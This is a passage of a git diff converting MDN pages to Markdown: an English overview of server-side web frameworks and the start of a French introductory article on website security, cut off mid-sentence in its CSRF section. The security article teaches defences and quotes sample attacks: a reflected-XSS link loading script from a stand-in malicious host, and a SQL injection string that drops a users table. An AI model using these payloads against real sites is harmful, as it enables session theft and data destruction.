Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for <a href="https://github.com/pallets/jinja">Jinja2</a> templating, secure cookies, <a href="https://en.wikipedia.org/wiki/Unit_testing">unit testing</a>, and <a href="http://www.restapitutorial.com/lessons/restfulresourcenaming.html">RESTful</a> request dispatching. It has good documentation and an active community.</p> +While minimalist, Flask can create serious websites out of the box. It contains a development server and debugger, and includes support for [Jinja2](https://github.com/pallets/jinja) templating, secure cookies, [unit testing](https://en.wikipedia.org/wiki/Unit_testing), and [RESTful](http://www.restapitutorial.com/lessons/restfulresourcenaming.html) request dispatching. It has good documentation and an active community. -<p>Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a <a href="https://www.raspberrypi.org/">Raspberry Pi</a>, <a href="http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/">Drone controllers</a>, etc.)</p> +Flask has become extremely popular, particularly for developers who need to provide web services on small, resource-constrained systems (e.g. running a web server on a [Raspberry Pi](https://www.raspberrypi.org/), [Drone controllers](http://blogtarkin.com/drone-definitions-learning-the-drone-lingo/), etc.) -<h3 id="Express_Node.jsJavaScript">Express (Node.js/JavaScript)</h3> +### Express (Node.js/JavaScript) -<p><a href="http://expressjs.com/">Express</a> is a fast, unopinionated, flexible and minimalist web framework for <a href="https://nodejs.org/en/">Node.js</a> (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and <a href="/fr/docs/Glossary/Middleware">middleware</a>.</p> +[Express](http://expressjs.com/) is a fast, unopinionated, flexible and minimalist web framework for [Node.js](https://nodejs.org/en/) (node is a browserless environment for running JavaScript). It provides a robust set of features for web and mobile applications and delivers useful HTTP utility methods and [middleware](/fr/docs/Glossary/Middleware). -<p>Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request).</p> +Express is extremely popular, partially because it eases the migration of client-side JavaScript web programmers into server-side development, and partially because it is resource-efficient (the underlying node environment uses lightweight multitasking within a thread rather than spawning separate processes for every new web request). -<p>Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose!</p> +Because Express is a minimalist web framework it does not incorporate every component that you might want to use (for example, database access and support for users and sessions are provided through independent libraries). There are many excellent independent components, but sometimes it can be hard to work out which is the best for a particular purpose! -<p>Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including <a href="http://feathersjs.com/">Feathers</a>, <a href="https://www.itemsapi.com/">ItemsAPI</a>, <a href="http://keystonejs.com/">KeystoneJS</a>, <a href="http://krakenjs.com/">Kraken</a>, <a href="http://loopback.io/">LoopBack</a>, <a href="http://mean.io/">MEAN</a>, and <a href="http://sailsjs.org/">Sails</a>.</p> +Many popular server-side and full stack frameworks (comprising both server and client-side frameworks) are based on Express, including [Feathers](http://feathersjs.com/), [ItemsAPI](https://www.itemsapi.com/), [KeystoneJS](http://keystonejs.com/), [Kraken](http://krakenjs.com/), [LoopBack](http://loopback.io/), [MEAN](http://mean.io/), and [Sails](http://sailsjs.org/). -<p>A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided <a href="http://expressjs.com/en/resources/companies-using-express.html">here</a>).</p> +A lot of high profile companies use Express, including: Uber, Accenture, IBM, etc. (a list is provided [here](http://expressjs.com/en/resources/companies-using-express.html)). -<h3 id="Ruby_on_Rails_Ruby">Ruby on Rails (Ruby)</h3> +### Ruby on Rails (Ruby) -<p><a href="http://rubyonrails.org/">Rails</a> (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language.</p> +[Rails](http://rubyonrails.org/) (usually referred to as "Ruby on Rails") is a web framework written for the Ruby programming language. -<p>Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others.</p> +Rails follows a very similar design philosophy to Django. Like Django it provides standard mechanisms for routing URLs, accessing data from a database, generating HTML from templates and formatting data as {{glossary("JSON")}} or {{glossary("XML")}}. It similarly encourages the use of design patterns like DRY ("dont repeat yourself" — write code only once if at all possible), MVC (model-view-controller) and a number of others. -<p>There are of course many differences due to specific design decisions and the nature of the languages.</p> +There are of course many differences due to specific design decisions and the nature of the languages. -<p>Rails has been used for high profile sites, including:<strong> </strong><a href="https://basecamp.com/">Basecamp</a>, <a href="https://github.com/">GitHub</a>, <a href="https://shopify.com/">Shopify</a>, <a href="https://airbnb.com/">Airbnb</a>, <a href="https://twitch.tv/">Twitch</a>, <a href="https://soundcloud.com/">SoundCloud</a>, <a href="https://hulu.com/">Hulu</a>, <a href="https://zendesk.com/">Zendesk</a>, <a href="https://square.com/">Square</a>, <a href="https://highrisehq.com/">Highrise</a>.</p> +Rails has been used for high profile sites, including:\*\* \*\*[Basecamp](https://basecamp.com/), [GitHub](https://github.com/), [Shopify](https://shopify.com/), [Airbnb](https://airbnb.com/), [Twitch](https://twitch.tv/), [SoundCloud](https://soundcloud.com/), [Hulu](https://hulu.com/), [Zendesk](https://zendesk.com/), [Square](https://square.com/), [Highrise](https://highrisehq.com/). -<h3 id="Laravel_PHP">Laravel (PHP)</h3> +### Laravel (PHP) -<p><a href="https://laravel.com/">Laravel</a> is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as:</p> +[Laravel](https://laravel.com/) is a web application framework with expressive, elegant syntax. Laravel attempts to take the pain out of development by easing common tasks used in the majority of web projects, such as: -<ul> - <li><a href="https://laravel.com/docs/routing" rel="nofollow">Simple, fast routing engine</a>.</li> - <li><a href="https://laravel.com/docs/container" rel="nofollow">Powerful dependency injection container</a>.</li> - <li>Multiple back-ends for <a href="https://laravel.com/docs/session" rel="nofollow">session</a> and <a href="https://laravel.com/docs/cache" rel="nofollow">cache</a> storage.</li> - <li>Expressive, intuitive <a href="https://laravel.com/docs/eloquent" rel="nofollow">database ORM</a>.</li> - <li>Database agnostic <a href="https://laravel.com/docs/migrations" rel="nofollow">schema migrations</a>.</li> - <li><a href="https://laravel.com/docs/queues" rel="nofollow">Robust background job processing</a>.</li> - <li><a href="https://laravel.com/docs/broadcasting" rel="nofollow">Real-time event broadcasting</a>.</li> -</ul> +- [Simple, fast routing engine](https://laravel.com/docs/routing). +- [Powerful dependency injection container](https://laravel.com/docs/container). +- Multiple back-ends for [session](https://laravel.com/docs/session) and [cache](https://laravel.com/docs/cache) storage. +- Expressive, intuitive [database ORM](https://laravel.com/docs/eloquent). +- Database agnostic [schema migrations](https://laravel.com/docs/migrations). +- [Robust background job processing](https://laravel.com/docs/queues). +- [Real-time event broadcasting](https://laravel.com/docs/broadcasting). -<p>Laravel is accessible, yet powerful, providing tools needed for large, robust applications.</p> +Laravel is accessible, yet powerful, providing tools needed for large, robust applications. -<h3 id="ASP.NET">ASP.NET</h3> +### ASP.NET -<p><a href="http://www.asp.net/">ASP.NET</a> is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications.</p> +[ASP.NET](http://www.asp.net/) is an open source web framework developed by Microsoft for building modern web applications and services. With ASP.NET you can quickly create web sites based on HTML, CSS, and JavaScript, scale them for use by millions of users and easily add more complex capabilities like Web APIs, forms over data, or real time communications. -<p>One of the differentiators for ASP.NET is that it is built on the <a href="https://en.wikipedia.org/wiki/Common_Language_Runtime">Common Language Runtime</a> (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation.</p> +One of the differentiators for ASP.NET is that it is built on the [Common Language Runtime](https://en.wikipedia.org/wiki/Common_Language_Runtime) (CLR), allowing programmers to write ASP.NET code using any supported .NET language (C#, Visual Basic, etc.). Like many Microsoft products it benefits from excellent tools (often free), an active developer community, and well-written documentation. -<p>ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others.</p> +ASP.NET is used by Microsoft, Xbox.com, Stack Overflow, and many others. -<h3 id="Mojolicious_Perl">Mojolicious (Perl)</h3> +### Mojolicious (Perl) -<p><a href="http://mojolicious.org/">Mojolicious</a> is a next generation web framework for the Perl programming language.</p> +[Mojolicious](http://mojolicious.org/) is a next generation web framework for the Perl programming language. -<p>Back in the early days of the web, many people learned Perl because of a wonderful Perl library called <a href="https://metacpan.org/module/CGI">CGI</a>. It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies.</p> +Back in the early days of the web, many people learned Perl because of a wonderful Perl library called [CGI](https://metacpan.org/module/CGI). It was simple enough to get started without knowing much about the language and powerful enough to keep you going. Mojolicious implements this idea using bleeding edge technologies. -<p>Some of the features provided by Mojolicious are: <strong>Real-time web framework</strong>, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/<a href="http://plackperl.org">PSGI</a> detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source.</p> +Some of the features provided by Mojolicious are: **Real-time web framework**, to easily grow single file prototypes into well-structured MVC web applications; RESTful routes, plugins, commands, Perl-ish templates, content negotiation, session management, form validation, testing framework, static file server, CGI/[PSGI](http://plackperl.org) detection, first class Unicode support; Full stack HTTP and WebSocket client/server implementation with IPv6, TLS, SNI, IDNA, HTTP/SOCKS5 proxy, UNIX domain socket, Comet (long polling), keep-alive, connection pooling, timeout, cookie, multipart and gzip compression support; JSON and HTML/XML parsers and generators with CSS selector support; Very clean, portable and object-oriented pure-Perl API with no hidden magic; Fresh code based upon years of experience, free and open source. -<h2 id="Summary">Summary</h2> +## Summary -<p>This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework.</p> +This article has shown that web frameworks can make it easier to develop and maintain server-side code. It has also provided a high level overview of a few popular frameworks, and discussed criteria for choosing a web application framework. You should now have at least an idea of how to choose a web framework for your own server-side development. If not, then don't worry — later on in the course we'll give you detailed tutorials on Django and Express to give you some experience of actually working with a web framework. -<p>For the next article in this module we'll change direction slightly and consider web security.</p> +For the next article in this module we'll change direction slightly and consider web security. -<p>{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}}</p> +{{PreviousMenuNext("Learn/Server-side/First_steps/Client-Server_overview", "Learn/Server-side/First_steps/Website_security", "Learn/Server-side/First_steps")}} -<h2 id="In_this_module">In this module</h2> +## In this module -<ul> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Introduction">Introduction to the server side</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Client-Server_overview">Client-Server overview</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Web_frameworks">Server-side web frameworks</a></li> - <li><a href="/fr/docs/Learn/Server-side/First_steps/Website_security">Website security</a></li> -</ul> +- [Introduction to the server side](/fr/docs/Learn/Server-side/First_steps/Introduction) +- [Client-Server overview](/fr/docs/Learn/Server-side/First_steps/Client-Server_overview) +- [Server-side web frameworks](/fr/docs/Learn/Server-side/First_steps/Web_frameworks) +- [Website security](/fr/docs/Learn/Server-side/First_steps/Website_security) diff --git a/files/fr/learn/server-side/first_steps/website_security/index.md b/files/fr/learn/server-side/first_steps/website_security/index.md index 4b90e6303a..81c150dee4 100644 --- a/files/fr/learn/server-side/first_steps/website_security/index.md +++ b/files/fr/learn/server-side/first_steps/website_security/index.md @@ -9,155 +9,140 @@ tags: translation_of: Learn/Server-side/First_steps/Website_security original_slug: Learn/Server-side/Premiers_pas/Website_security --- -<div>{{LearnSidebar}}</div> +{{LearnSidebar}}{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/Premiers_pas")}} -<div>{{PreviousMenu("Learn/Server-side/First_steps/Web_frameworks", "Learn/Server-side/Premiers_pas")}}</div> - -<p>La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes.</p> +La sécurité d'un site web exige de la vigilance dans tous les aspects de sa conception et de son utilisation. Cet article d'introduction ne fera pas de vous un gourou de la sécurité des sites web, mais il vous aidera à comprendre d'où viennent les menaces et ce que vous pouvez faire pour renforcer votre application web contre les attaques les plus courantes. <table class="standard-table"> - <tbody> - <tr> - <th scope="row">Pré-requis :</th> - <td>Connaissances de base en informatique.</td> - </tr> - <tr> - <th scope="row">Objectif :</th> - <td>Comprendre les menaces les plus courantes à la sécurité des applications web et ce que vous pouvez faire pour réduire le risque de piratage de votre site.</td> - </tr> - </tbody> + <tbody> + <tr> + <th scope="row">Pré-requis :</th> + <td>Connaissances de base en informatique.</td> + </tr> + <tr> + <th scope="row">Objectif :</th> + <td> + Comprendre les menaces les plus courantes à la sécurité des applications + web et ce que vous pouvez faire pour réduire le risque de piratage de + votre site. + </td> + </tr> + </tbody> </table> -<h2 id="Quest-ce_que_la_sécurité_dun_site_web">Qu'est-ce que la sécurité d'un site web?</h2> +## Qu'est-ce que la sécurité d'un site web? -<p>Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site web à la fois à l'embarras personnel et au risque de pertes financières.</p> +Internet est un endroit dangereux ! Fréquemment, nous entendons parler de sites web devenus indisponibles en raison d'attaques par déni de service, ou affichant des informations modifiées (et souvent préjudiciables) sur leurs pages d'accueil. Dans d'autres cas, très médiatisés, des millions de mots de passe, d'adresses électroniques et de détails sur des cartes de crédit sont divulgués au public, exposant les utilisateurs du site web à la fois à l'embarras personnel et au risque de pertes financières. -<p>L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées.</p> +L'objectif de la sécurité des sites web est de prévenir ces types d'attaques. Plus formellement, la sécurité des sites web est l'acte de protéger les sites web contre l'accès, l'utilisation, la modification, la destruction ou la perturbation non autorisées. -<p>La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception.</p> +La sécurité efficace d'un site web nécessite un effort de conception sur l'ensemble du site : dans votre application web, dans la configuration du serveur web, dans vos politiques de création et de renouvellement des mots de passe et dans le code côté-client. Bien que tout cela semble très inquiétant, la bonne nouvelle est que si vous utilisez un framework web côté serveur, il incluera certainement par défaut des mécanismes de défense solides et bien pensés contre un certain nombre des attaques les plus courantes. D'autres attaques peuvent être atténuées grâce à la configuration de votre serveur web, par exemple en activant HTTPS. Enfin, les outils d'analyse de vulnérabilité accessibles au public peuvent vous aider à découvrir d'éventuelles erreurs dans votre conception. -<p>Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site.</p> +Le reste de cet article détaille les menaces les plus courantes qui pèsent sur les sites web et quelques étapes simples pour protèger votre site. -<div class="note"> -<p><strong>Note :</strong> ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif.</p> -</div> +> **Note :** ceci est un article d'introduction, conçu pour vous aider à réflechir à la sécurité de votre site web. Il n'est en rien exhaustif. -<h2 id="Menaces_visant_la_sécurité_des_sites_web">Menaces visant la sécurité des sites web</h2> +## Menaces visant la sécurité des sites web -<p>Cette section n'énumère que quelques-unes des menaces les plus courantes visant les sites web et la façon dont elles sont tenues à distance. À mesure que vous lisez, notez comment les menaces apparaissent lorsque l'application web fait confiance ou n'est pas assez méfiante vis-à-vis des données provenant du navigateur !</p> +Cette section n'énumère que quelques-unes des menaces les plus courantes visant les sites web et la façon dont elles sont tenues à distance. À mesure que vous lisez, notez comment les menaces apparaissent lorsque l'application web fait confiance ou n'est pas assez méfiante vis-à-vis des données provenant du navigateur ! -<h3 id="Cross-Site_Scripting_XSS">Cross-Site Scripting (XSS)</h3> +### Cross-Site Scripting (XSS) -<p>XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'attaquant d'injecter des scripts, exécutés côté-client, <em>au travers</em> du site web pour viser le navigateur web des autres utilisateurs. Comme le code injecté provient du site web le navigateur web le considère comme sûr, il peut de ce fait faire des choses comme transmettre le cookie d'authentification de l'utilisateur à l'attaquant. Une fois que l'attaquant obtient ce cookie il peut se connecter sur le site comme si il était l'utilisateur attaqué et peut faire tout ce que l'utilisateur pourrait faire. En fonction du site sur lequel l'attaque se produit, cela peut inclure l'accès aux détails de carte bancaire, les informations des contacts, la modification du mot de passe, etc.</p> +XSS est un terme utilisé pour décrire une classe d'attaque qui permet à l'attaquant d'injecter des scripts, exécutés côté-client, _au travers_ du site web pour viser le navigateur web des autres utilisateurs. Comme le code injecté provient du site web le navigateur web le considère comme sûr, il peut de ce fait faire des choses comme transmettre le cookie d'authentification de l'utilisateur à l'attaquant. Une fois que l'attaquant obtient ce cookie il peut se connecter sur le site comme si il était l'utilisateur attaqué et peut faire tout ce que l'utilisateur pourrait faire. En fonction du site sur lequel l'attaque se produit, cela peut inclure l'accès aux détails de carte bancaire, les informations des contacts, la modification du mot de passe, etc. -<div class="note"> -<p><strong>Note :</strong> les vulnérabilités XSS ont historiquement été les plus courantes.</p> -</div> +> **Note :** les vulnérabilités XSS ont historiquement été les plus courantes. -<p>Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont désignées en tant que vulnérabilités XSS <em>réfléchie</em> et <em>persistante</em>.</p> +Il y a deux manières principales pour demander au site de retourner un script injecté vers un navigateur web — elles sont désignées en tant que vulnérabilités XSS _réfléchie_ et _persistante_. -<ul> - <li>Une vulnérabilité XSS réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée!<br> - On prendra par exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL, et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche contenant un script malicieux en tant que paramètre (ex: <code>http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script></code>) et le transmettre par e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou accèder à la liste de contacts..</li> - <li>Une vulnérabilité XSS <em>persistante</em> sera celle où le script malicieux est stocké sur le site web puis affiché, sans modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu.<br> - Par exemple, un écran de discussion qui accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a pas besoin d'avoir une relation directe avec les victimes.<br> - <br> - Alors que l'envoi de données avec <code>POST</code> ou <code>GET</code> est la source la plus commune de vulnérabilité XSS, toute donnée en provenance du navigateur web est potentiellement vulnérable (cela inclut l'affichage des données des cookies par le navigateur, ou les fichiers de l'utilisateur qui sont chargés et affichés).</li> -</ul> +- Une vulnérabilité XSS réfléchie se produit quand le contenu de l'utilisateur transmis au serveur est immédiatement retourné, sans avoir été modifié, pour être affiché dans le navigateur — tout les scripts présents dans le contenu d'origine seront exécutés quand la nouvelle page sera chargée! + On prendra par exemple une fonction de recherche dans un site où les termes recherchés sont encodés en tant que paramètres dans l'URL, et que ces termes sont affichés en permanence avec les résultats. Un attaquant peut construire un lien de recherche contenant un script malicieux en tant que paramètre (ex: `http://mysite.com?q=beer<script%20src="http://sitedangereux.com/malicieux.js"></script>`) et le transmettre par e-mail à un autre utilisateur. Si l'utilisateur ciblé clique sur ce "lien intéressant", le script sera exécuté quand les résultats de la recherche seront affichés. Comme vu auparavant, cela donne à l'attaquant toute les informations dont il a besoin pour se connecter sur le site avec le compte de la victime — potentiellement faire des achats en tant que cet utilisateur ou accèder à la liste de contacts.. +- Une vulnérabilité XSS _persistante_ sera celle où le script malicieux est stocké sur le site web puis affiché, sans modification, un peu plus tard par les autres utilisateurs et exécuté à leur insu. + Par exemple, un écran de discussion qui accepte les commentaires contenant du code HTML pur peuvent stocker le script malicieux de l'attaquant. Quand les commentaires sont affichés le script est exécuté et peut ensuite transmettre à l'attaquant les informations nécessaires pour accèder au compte de l'utilisateur. Cette méthode d'attaque est extrêmement courante et efficace, parce que l'attaquant n'a pas besoin d'avoir une relation directe avec les victimes. -<p>La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme <code><script></code>, <code><object></code>, <code><embed></code>, et <code><link></code>.</p> + Alors que l'envoi de données avec `POST` ou `GET` est la source la plus commune de vulnérabilité XSS, toute donnée en provenance du navigateur web est potentiellement vulnérable (cela inclut l'affichage des données des cookies par le navigateur, ou les fichiers de l'utilisateur qui sont chargés et affichés). -<div> -<p>Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé <em>input sanitization</em> en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires.</p> -</div> +La meilleur défense contre les vulnérabilités XSS est de supprimer ou désactiver toutes les balises qui peuvent potentiellement contenir des instructions pour exécuter du code. Pour HTML cela inclut les tags comme `<script>`, `<object>`, `<embed>`, et `<link>`. -<h3 id="Injection_SQL">Injection SQL</h3> +Il est nécessaire de traiter les données saisies par l'utilisateur pour être sûr qu'il ne puisse ni exécuter de scripts ni pertuber le fonctionnement normal du site (ce procédé est appelé *input sanitization* en anglais). De nombreux frameworks proposent par défaut cette vérification sur les entrées des formulaires. -<p>L'injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter du code SQL frauduleux sur une base de données, permettant l'accès, la modification ou la suppression des données quelque soit le droit de l'utilisateur. Une attaque par injection réussie peut permettre l'usurpation d'un compte, la création d'un compte avec les droits administrateur, l'accès à toute les données du serveur, ou la modification / destruction des données pour le rendre inutilisable.</p> +### Injection SQL -<p>Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmise à une requête SQL sous-jacente qui peut modifier le sens de la requête. Par exemple, dans le code ci-dessous qui devrait lister l'ensemble des utilisateurs avec un nom particulier (<code>userName</code>) et qui provient d'un formulaire HTML:</p> +L'injection SQL est une vulnérabilité qui permet à un attaquant d'exécuter du code SQL frauduleux sur une base de données, permettant l'accès, la modification ou la suppression des données quelque soit le droit de l'utilisateur. Une attaque par injection réussie peut permettre l'usurpation d'un compte, la création d'un compte avec les droits administrateur, l'accès à toute les données du serveur, ou la modification / destruction des données pour le rendre inutilisable. -<pre class="brush: sql">statement = "SELECT * FROM users WHERE name = '" + <strong>userName</strong> + "';"</pre> +Cette vulnérabilité est présente quand la saisie de l'utilisateur est transmise à une requête SQL sous-jacente qui peut modifier le sens de la requête. Par exemple, dans le code ci-dessous qui devrait lister l'ensemble des utilisateurs avec un nom particulier (`userName`) et qui provient d'un formulaire HTML: -<p>Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, <strong>en gras</strong> ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table <code>users</code> et sélectionner toute les données de la table <code>userinfo</code> (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté (<code>'a';</code>) qui va complèter la requête d'origine (<code>' </code>est le symbole pour délimiter une chaine de texte en SQL).</p> +```sql +statement = "SELECT * FROM users WHERE name = '" + userName + "';" +``` -<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't</strong>'; -</pre> +Si l'utilisateur entre un nom correct cela marchera comme voulu. Cependant un utilisateur malveillant peut changer complètement le sens de cette requête SQL pour obtenir la requête qui suit, simplement en ajoutant le texte, **en gras** ci dessous, en tant que nom, cette requête, modifiée, va créer une requête SQL valide qui va supprimer la table `users` et sélectionner toute les données de la table `userinfo` (révèlant les informations de chaque utilisateur). Tout cela est rendu possible à cause du début du texte injecté (`'a';`) qui va complèter la requête d'origine (`' `est le symbole pour délimiter une chaine de texte en SQL). -<p>Le moyen pour éviter ce type d'attaque est de s'assurer que toute saisie de l'utilisateur transmise à une requête SQL ne peut pas changer la nature de cette requête. Un moyen de faire cela est d'<a href="https://fr.wikipedia.org/wiki/Caract%C3%A8re_d%27%C3%A9chappement">échapper</a> tous les caractères de la saisie utilisateur quand ils ont un sens particulier en SQL.</p> +```sql +SELECT * FROM users WHERE name = 'a';DROP TABLE users; SELECT * FROM userinfo WHERE 't' = 't'; +``` -<div class="note"> -<p><strong>Note :</strong> la requête SQL considère le symbole ' comme le début et la fin d'une chaine de texte. En ajoutant le caractère \ nous allons "échapper" ce symbole, et dire à SQL de le traiter comme une simple partie de la chaîne de caractères.</p> -</div> +Le moyen pour éviter ce type d'attaque est de s'assurer que toute saisie de l'utilisateur transmise à une requête SQL ne peut pas changer la nature de cette requête. Un moyen de faire cela est d'[échapper](https://fr.wikipedia.org/wiki/Caract%C3%A8re_d%27%C3%A9chappement) tous les caractères de la saisie utilisateur quand ils ont un sens particulier en SQL. -<p>Dans la requête ci-dessous nous avons échappé le caractère '. Le SQL va donc interpréter la chaine complète (en gras) comme un nom (un nom étrange en effet, mais pas nuisible).</p> +> **Note :** la requête SQL considère le symbole ' comme le début et la fin d'une chaine de texte. En ajoutant le caractère \ nous allons "échapper" ce symbole, et dire à SQL de le traiter comme une simple partie de la chaîne de caractères. -<pre class="brush: sql">SELECT * FROM users WHERE name = '<strong>a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'</strong>; +Dans la requête ci-dessous nous avons échappé le caractère '. Le SQL va donc interpréter la chaine complète (en gras) comme un nom (un nom étrange en effet, mais pas nuisible). -</pre> +```sql +SELECT * FROM users WHERE name = 'a\';DROP TABLE users; SELECT * FROM userinfo WHERE \'t\' = \'t'; +``` -<p>Les frameworks web se chargent bien souvent d'échapper ces caractères à votre place. Django, par exemple, s'assure que toute saisie d'un utilisateur transmise au modèle est bien échappée.</p> +Les frameworks web se chargent bien souvent d'échapper ces caractères à votre place. Django, par exemple, s'assure que toute saisie d'un utilisateur transmise au modèle est bien échappée. -<div class="note"> -<p><strong>Note :</strong> Cette section s'inspire beaucoup des informations de <a href="https://en.wikipedia.org/wiki/SQL_injection">Wikipedia ici</a>.</p> -</div> +> **Note :** Cette section s'inspire beaucoup des informations de [Wikipedia ici](https://en.wikipedia.org/wiki/SQL_injection). -<h3 id="Falsification_de_requête_inter-sites_CSRF">Falsification de requête inter-sites (CSRF)</h3> +### Falsification de requête inter-sites (CSRF) -<p>Les attaques CSRF permettent à un utilisateur malveillant d'éxécuter des actions à l'a ide des identifiants d'un autre utilisateur sans que cet utilisateur ne soit informé ou consentant.</p> +Les attaques CSRF permettent à un utilisateur malveillant d'éxécuter des actions à l'a ide des identifiants d'un autre utilisateur sans que cet utilisateur ne soit informé ou consentant. -<p>Ce type d'attaque s'explique mieux avec un exemple. John est l'utilisateur malveillant qui sait qu'un site particulier permet à des utilisateurs authentifiés d'envoyer de l'argent vers un compte particulier en utilisant des requêtes HTTP POST qui incluent le numéro de compte et le montant. John construit un formulaire qui inclut son numéro de compte et un montant dans des champs cachés (invisibles) et le transmet à un autre utilisateur du site (avec le bouton de validation déguisé en un lien vers un site "pour devenir riche".</p> +Ce type d'attaque s'explique mieux avec un exemple. John est l'utilisateur malveillant qui sait qu'un site particulier permet à des utilisateurs authentifiés d'envoyer de l'argent vers un compte particulier en utilisant des requêtes HTTP POST qui incluent le numéro de compte et le montant. John construit un formulaire qui inclut son numéro de compte et un montant dans des champs cachés (invisibles) et le transmet à un autre utilisateur du site (avec le bouton de validation déguisé en un lien vers un site "pour devenir riche". -<p>Si un utilisateur clique sur le bouton de validation, une requête HTTP POST, contenant les informations de transaction, va être transmise au serveur ainsi que le cookie que le 